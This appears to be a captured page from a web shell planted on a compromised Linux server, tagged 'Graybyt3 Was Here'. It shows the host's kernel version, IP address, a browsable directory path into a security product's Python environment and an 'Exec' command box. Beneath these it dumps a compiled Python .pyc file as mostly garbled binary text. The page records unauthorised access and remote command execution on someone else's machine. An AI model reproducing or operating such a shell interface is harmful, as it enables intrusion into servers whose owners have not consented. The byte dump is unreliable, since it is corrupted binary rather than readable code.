Graybyt3 Was Here
Linux cloud.locucionar.com 3.10.0-1160.81.1.el7.x86_64 #1 SMP Fri Dec 16 17:29:43 UTC 2022 x86_64
Apache
91.191.211.241
/
opt
/
imunify360
/
venv
/
lib64
/
python3.11
/
site-packages
/
pyrsistent
/
__pycache__
[ HOME ]
Exec
Submit
_pmap.cpython-311.pyc
� J�Fh]I � � � d dl mZmZ d dlmZ d dlmZ d dlmZ G d� d� � Z G d� de � � Z G d � d e � � Z G d� de� � Z ej e � � ej e � � d � Z ei d � � Zi d fd�Zd� ZdS )� )�Mapping�Hashable)�chain)�pvector�� transformc �* � e Zd ZdZd� Zd� Zd� Zd� ZdS )�PMapViewa� View type for the persistent map/dict type `PMap`. Provides an equivalent of Python's built-in `dict_values` and `dict_items` types that result from expreessions such as `{}.values()` and `{}.items()`. The equivalent for `{}.keys()` is absent because the keys are instead represented by a `PSet` object, which can be created in `O(1)` time. The `PMapView` class is overloaded by the `PMapValues` and `PMapItems` classes which handle the specific case of values and items, respectively Parameters ---------- m : mapping The mapping/dict-like object of which a view is to be created. This should generally be a `PMap` object. c �� � t |t � � s4t |t � � rt |� � }nt d� � �t � | d|� � d S )Nz"PViewMap requires a Mapping object�_map)� isinstance�PMapr �pmap� TypeError�object�__setattr__)�self�ms �p/builddir/build/BUILD/imunify360-venv-2.5.3/opt/imunify360/venv/lib/python3.11/site-packages/pyrsistent/_pmap.py�__init__zPMapView.__init__ sb � ��!�T�"�"� F��!�W�%�%� F���G�G���� D�E�E�E����4���+�+�+�+�+� c �* � t | j � � S �N)�lenr �r s r �__len__zPMapView.__len__"